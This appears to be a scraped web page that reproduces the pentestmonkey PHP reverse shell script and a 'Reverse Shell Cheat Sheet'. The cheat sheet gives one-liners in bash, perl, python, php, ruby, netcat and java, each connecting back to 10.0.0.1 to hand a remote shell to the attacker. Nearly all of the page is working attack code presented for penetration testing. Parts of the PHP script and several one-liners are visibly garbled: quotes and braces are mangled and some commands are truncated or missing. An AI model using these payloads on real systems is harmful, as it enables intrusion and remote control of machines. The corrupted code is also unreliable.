Dit81 / php_reverse_shell.php
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| // php-reverse-shell — A Reverse Shell implementation in PHP |
| // Copyright (C) 2007 pentestmonkey@pentestmonkey.net |
| // |
| // This tool may be used for legal purposes only. Users take full responsibility |
| // for any actions performed using this tool. The author accepts no liability |
| // for damage caused by this tool. If these terms are not acceptable to you, then |
| // do not use this tool. |
| // |
| // In all other respects the GPL version 2 applies: |
| // |
| // This program is free software; you can redistribute it and/or modify |
| // it under the terms of the GNU General Public License version 2 as |
| // published by the Free Software Foundation. |
| // |
| // This program is distributed in the hope that it will be useful, |
| // but WITHOUT ANY WARRANTY; without even the implied warranty of |
| // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| // GNU General Public License for more details. |
| // |
| // You should have received a copy of the GNU General Public License along |
| // with this program; if not, write to the Free Software Foundation, Inc., |
| // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. |
| // |
| // This tool may be used for legal purposes only. Users take full responsibility |
| // for any actions performed using this tool. If these terms are not acceptable to |
| // you, then do not use this tool. |
| // |
| // You are encouraged to send comments, improvements or suggestions to |
| // me at pentestmonkey@pentestmonkey.net |
| // |
| // Description |
| // ———— |
| // This script will make an outbound TCP connection to a hardcoded IP and port. |
| // The recipient will be given a shell running as the current user (apache normally). |
| // |
| // Limitations |
| // ———— |
| // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ |
| // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. |
| // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. |
| // |
| // Usage |
| // —— |
| // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. |
| set_time_limit ( 0 ); |
| $ VERSION = » 1.0 «; |
| $ ip = ‘127.0.0.1’ ; // CHANGE THIS |
| $ port = 1234 ; // CHANGE THIS |
| $ chunk_size = 1400 ; |
| $ write_a = null ; |
| $ error_a = null ; |
| $ shell = ‘uname -a; w; id; /bin/sh -i’ ; |
| $ daemon = 0 ; |
| $ debug = 0 ; |
| // |
| // Daemonise ourself if possible to avoid zombies later |
| // |
| // pcntl_fork is hardly ever available, but will allow us to daemonise |
| // our php process and avoid zombies. Worth a try. |
| if (function_exists( ‘pcntl_fork’ )) |
| // Fork and have the parent process exit |
| $ pid = pcntl_fork(); |
| if ( $ pid == — 1 ) |
| printit(» ERROR: Can’t fork «); |
| exit( 1 ); |
| > |
| if ( $ pid ) |
| exit( 0 ); // Parent exits |
| > |
| // Make the current process a session leader |
| // Will only succeed if we forked |
| if (posix_setsid() == — 1 ) |
| printit(» Error: Can’t setsid() «); |
| exit( 1 ); |
| > |
| $ daemon = 1 ; |
| > else |
| printit(» WARNING: Failed to daemonise. This is quite common and not fatal. «); |
| > |
| // Change to a safe directory |
| chdir(» / «); |
| // Remove any umask we inherited |
| umask( 0 ); |
| // |
| // Do the reverse shell. |
| // |
| // Open reverse connection |
| $ sock = fsockopen( $ ip , $ port , $ errno , $ errstr , 30 ); |
| if (! $ sock ) |
| printit(» $ errstr ( $ errno ) «); |
| exit( 1 ); |
| > |
| // Spawn shell process |
| $ descriptorspec = array ( |
| 0 => array (» pipe «, » r «), // stdin is a pipe that the child will read from |
| 1 => array (» pipe «, » w «), // stdout is a pipe that the child will write to |
| 2 => array (» pipe «, » w «) // stderr is a pipe that the child will write to |
| ); |
| $ process = proc_open( $ shell , $ descriptorspec , $ pipes ); |
| if (!is_resource( $ process )) |
| printit(» ERROR: Can’t spawn shell «); |
| exit( 1 ); |
| > |
| // Set everything to non-blocking |
| // Reason: Occsionally reads will block, even though stream_select tells us they won’t |
| stream_set_blocking( $ pipes [ 0 ], 0 ); |
| stream_set_blocking( $ pipes [ 1 ], 0 ); |
| stream_set_blocking( $ pipes [ 2 ], 0 ); |
| stream_set_blocking( $ sock , 0 ); |
| printit(» Successfully opened reverse shell to $ ip : $ port «); |
| while ( 1 ) |
| // Check for end of TCP connection |
| if (feof( $ sock )) |
| printit(» ERROR: Shell connection terminated «); |
| break ; |
| > |
| // Check for end of STDOUT |
| if (feof( $ pipes [ 1 ])) |
| printit(» ERROR: Shell process terminated «); |
| break ; |
| > |
| // Wait until a command is end down $sock, or some |
| // command output is available on STDOUT or STDERR |
| $ read_a = array ( $ sock , $ pipes [ 1 ], $ pipes [ 2 ]); |
| $ num_changed_sockets = stream_select( $ read_a , $ write_a , $ error_a , null ); |
| // If we can read from the TCP socket, send |
| // data to process’s STDIN |
| if (in_array( $ sock , $ read_a )) |
| if ( $ debug ) printit(» SOCK READ «); |
| $ input = fread( $ sock , $ chunk_size ); |
| if ( $ debug ) printit(» SOCK: $ input «); |
| fwrite( $ pipes [ 0 ], $ input ); |
| > |
| // If we can read from the process’s STDOUT |
| // send data down tcp connection |
| if (in_array( $ pipes [ 1 ], $ read_a )) |
| if ( $ debug ) printit(» STDOUT READ «); |
| $ input = fread( $ pipes [ 1 ], $ chunk_size ); |
| if ( $ debug ) printit(» STDOUT: $ input «); |
| fwrite( $ sock , $ input ); |
| > |
| // If we can read from the process’s STDERR |
| // send data down tcp connection |
| if (in_array( $ pipes [ 2 ], $ read_a )) |
| if ( $ debug ) printit(» STDERR READ «); |
| $ input = fread( $ pipes [ 2 ], $ chunk_size ); |
| if ( $ debug ) printit(» STDERR: $ input «); |
| fwrite( $ sock , $ input ); |
| > |
| > |
| fclose( $ sock ); |
| fclose( $ pipes [ 0 ]); |
| fclose( $ pipes [ 1 ]); |
| fclose( $ pipes [ 2 ]); |
| proc_close( $ process ); |
| // Like print, but does nothing if we’ve daemonised ourself |
| // (I can’t figure out how to redirect STDOUT like a proper daemon) |
| function printit ( $ string ) |
| if (! $ daemon ) |
| print » $ string \n»; |
| > |
| > |
Reverse Shell Cheat Sheet
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.
Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");>;' Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' PHP
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");' If you want a .php file to upload, see the more featureful and robust php-reverse-shell.
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)' Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[]) p.waitFor()[Untested submission from anonymous reader]
xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
You’ll need to authorise the target to connect to you (command also run on your host):
Further Reading
Also check out Bernardo’s Reverse Shell One-Liners. He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.
There’s a reverse shell written in gawk over here. Gawk is not something that I’ve ever used myself. However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.